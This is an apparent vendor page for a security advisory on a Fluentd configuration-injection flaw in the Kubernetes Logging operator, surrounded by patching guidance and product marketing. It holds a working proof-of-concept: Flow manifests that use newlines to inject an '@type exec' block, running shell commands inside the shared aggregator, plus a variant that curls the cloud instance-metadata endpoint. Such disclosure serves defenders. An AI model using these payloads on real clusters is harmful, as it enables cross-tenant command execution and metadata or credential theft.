GHSA-mjqf-28ph-426h is a critical-severity (CVSS 9.9) CWE-74 vulnerability in github.com/kube-logging/logging-operator. O3 Security confirms whether GHSA-mjqf-28ph-426h is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Logging operator has Fluentd configuration injection that allows remote code execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mjqf-28ph-426h.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mjqf-28ph-426h plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 372,324 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kube-logging/logging-operatorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: imds-poc
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kube-logging/logging-operator | all versions | 0.0.0-20260608145523-cf437d7f1e05 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kube-logging/logging-operator. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/kube-logging/logging-operator to 0.0.0-20260608145523-cf437d7f1e05 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mjqf-28ph-426h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mjqf-28ph-426h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mjqf-28ph-426h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mjqf-28ph-426h in your dependencies?
O3 detects GHSA-mjqf-28ph-426h across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.